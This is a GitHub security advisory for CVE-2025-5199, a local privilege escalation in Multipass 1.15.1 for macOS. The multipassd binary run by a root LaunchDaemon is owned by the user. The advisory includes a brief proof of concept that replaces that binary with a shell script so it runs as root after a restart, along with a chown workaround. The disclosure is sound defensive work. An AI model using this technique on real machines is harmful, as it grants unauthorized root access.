Skip to content

LPE on Multipass for macOS

High
OctavioGalland published GHSA-2j82-p5cq-62p3 Jul 11, 2025

Package

multipass (macOS)

Affected versions

<= 1.15.1

Patched versions

1.16.0

Description

Impact

Upon installing Multipass 1.15.1 (from Canonical's website) on a macOS host, the following LaunchDaemon is created:

octavio@mac ~ % ls -la /Library/LaunchDaemons/com.canonical.multipassd.plist                                                  
-rw-r--r--  1 root  wheel  1131 May 22 13:34 /Library/LaunchDaemons/com.canonical.multipassd.plist
octavio@mac ~ % cat /Library/LaunchDaemons/com.canonical.multipassd.plist 
[...]
    <key>ProgramArguments</key>
    <array>
      <string>/Library/Application Support/com.canonical.multipass/bin/multipassd</string>
      <string>--verbosity</string>
      <string>debug</string>
    </array>
[...]

However, the multipassd binary is owned by the local user, and not by root, so it can be replaced with a malicious script:

octavio@mac ~ % echo -ne '#!/bin/sh\nwhoami > /tmp/here\n' > /Library/Application\ Support/com.canonical.multipass/bin/multipassd

This script will be run by the (privileged) daemon upon system restart, which can be used to perform arbitrary actions as root:

octavio@mac ~ % sudo restart
[...]
octavio@mac ~ % cat /tmp/here 
root

Patches

Workarounds

If unable to apply the relevant update, the file /Library/Application Support/com.canonical.multipass/bin/multipassd can be set to be owned by root:

sudo chown root:wheel /Library/Application Support/com.canonical.multipass/bin/multipassd

References

Severity

High

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Local
Attack complexity
Low
Privileges required
Low
User interaction
Required
Scope
Unchanged
Confidentiality
High
Integrity
High
Availability
High

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:H

CVE ID

CVE-2025-5199

Weaknesses

Incorrect Default Permissions

During installation, installed file permissions are set to allow anyone to modify those files. Learn more on MITRE.

Credits